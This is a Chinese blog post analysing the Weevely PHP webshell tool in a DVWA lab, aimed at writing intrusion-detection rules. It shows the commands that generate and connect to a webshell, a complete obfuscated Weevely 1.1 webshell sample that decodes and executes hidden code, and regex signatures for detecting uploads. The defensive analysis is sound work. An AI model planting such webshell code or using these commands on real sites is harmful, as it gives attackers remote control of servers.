介绍
Weevely工具Python语言编写,集生成木马与加连接于一身,相当于Linux中的中国菜刀,但只适用于php网站,已经加入Kali豪华大礼包中。在Kali1.0中集成的低版本V1.1更是功能强大,支持图片与.htaccess两种绕过方式。新版本中将这两种功能阉割掉了,但是生成的木马文件仍然进行了加密处理。
在实操过程中发现,使用weevely生成的webshell,webshell存在一定特征,可以编写规则进行检测,即:可以检测webshell上传。但是webshell建立连接时是没有流量产生的,不能写规则;并且建立连接之后执行的命令,特征太弱,不能写规则。综上所述,目前只能编写上传webshell的规则。
使用环境
kali2021.2自带的weevely是4.0.1版本,IP地址:192.168.239.141
靶机环境是dvwa,靶机IP地址:192.168.239.131
生成webshell
weevely generate 密码 路径 文件名
上传webshell
连接webshell
weevely shell文件地址 密码
- 访问webshell地址,发现是空白页面,很好
- 连接webshell
由此,建立webshell连接的过程不能编写规则,进行拦截。
命令执行
整个过程中会产生多个数据流,以前两个为例,看似请求体和响应体存在一些特征。
那么,现在重新生成一个新的webshell,并进行命令执行,拿前两个数据流为例进行分析如下
可以发现,不同密码的webshell,只有响应体存在一点共同之处。但是,不足以编写规则。在Weevely Webshell入侵检测之小试牛刀中,作者说可以在响应体的基础上,通过长度限制,来进行辅助检测,这个就有点扯淡了。不是他说的不对,而是不完全对,有的命令在执行的时候,确实如此,有的命令执行的时候却并非如此。甚至相同的命令ipconfig,我昨天测试的时候可以抓到符合作者描述的包,今天测试的时候就抓不到符合描述的包了。
再如,使用net_scan 192.168.239.131 1-100
命令进行端口扫描,就根本没有符合作者长度限制的数据包。
因此不足以编写规则。
编写规则
通过上面的分析,唯一可以确认的是,可以对上传webshell的过程进行拦截。然而,不同版本的 Weevely 产生的webshell特征是不同的。
4.0.1版本
通过大量的webshell测试发现,下面红框中的内容是固定格式
如下图,第1个红框中的内容可以作为辅助特征,第二个红框中的内容作为主要特征
- 匹配辅助特征
\x3c\x3fphp[\s\n]\x24\w\x3d
- 匹配主要特征
\x24\w\x3dstr_replace\x28\x27.{1,20}\x27\x2c\x27\x27\x2c(\x24\w\x2e)+\x24\w.?\x24\w=\x24\w\x28\x27\x27\x2c\x24\w\x29\x3b\x24\w\x28\x29\x3b.?\x3f\x3e
1.1版本
内容如下
通过多个shell对比发现:
- 第1~2行可以作为弱特征规则化
- 第2行的一串base64编码内容,有的是以等号结尾,有的不是,不能作为特征
- 第3~5行,特征一般,由于前5行的顺序是随机的,所以不好使用正则进行规则化。
- 第6行出现了
str_replace
,可以作为弱特征。 - 第7~10行,格式基本固定,只是参数每次都不一样,可以规则化
<?php
$hhhj="pbihhcxfnJheV9zbGljZSxfgkxfYSwkYygkYSxfktxfMykpKSkxfpO2VjaG8gJzwvJy4kay4nPxfic7fQ==";
$opqh="ZWdfcmVwbGFjZShhcnJheSgnLxf1teXHxfcxf9XHNdLxfycsJy9ccy8nKSwgYXJyYXkoJyxfcsJysnKSwgam9";
$vtbk="JGM9xfJ2NvdW50JzxfskYT0kXxf0NPT0xftJRTtpZixfhxfyZXNldCgkYSk9PScxMScgJiYgxfJGMoJGEpPjMp";
$mzby="eyRrxfPScxMxfTExJztlxfY2hvICc8Jy4kay4xfnPic7ZXZhbChxfiYXNlxfNjRxffZGVjb2RlKHBy";
$gkpi = str_replace("u","","usturu_uruepuluace");
$emin = $gkpi("q", "", "qbqaqsqeq6q4_dqeqcoqdqe");
$zrrs = $gkpi("m","","mcmrmemamtme_mfmunmcmtiomn");
$fbkq = $zrrs('', $emin($gkpi("xf", "", $vtbk.$mzby.$opqh.$hhhj))); $fbkq();
?>
第1个弱特征\x3c\x3fphp[\s\n]\x24\w+\x3d
第2个弱特征
\x24\w{4}\s+\x3d\s+str_replace\x28\x22\w\x22\x2c\x22+\x2c\x22[a-z]+\x5f[a-z]+\x22\x29\x3b
第3个主特征
(\x24\w{4}\s+\x3d\s+\x24\w{4}\x28\x22\w+\x22\x2c\s*\x22\x22\x2c\s*\x22\w+\x22\x29\x3b[\s\n])+\x24\w{4}\s+\x3d\s+\x24\w{4}\x28\x27+\x2c\s+\x24\w{4}\x28\x24\w{4}\x28\x22\w+\x22\x2c\s+\x22+\x2c\s+(\x24\w{4}\x2e){3}\x24\w{4}\x29+\x3b\s+\x24\w{4}\x28\x29\x3b
规则
参考
Kali-Weevely工具使用详解
weevely(php菜刀)基本使用
Weevely Webshell入侵检测之小试牛刀
版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 举报,一经查实,本站将立刻删除。
文章由极客之音整理,本文链接:https://www.bmabk.com/index.php/post/134304.html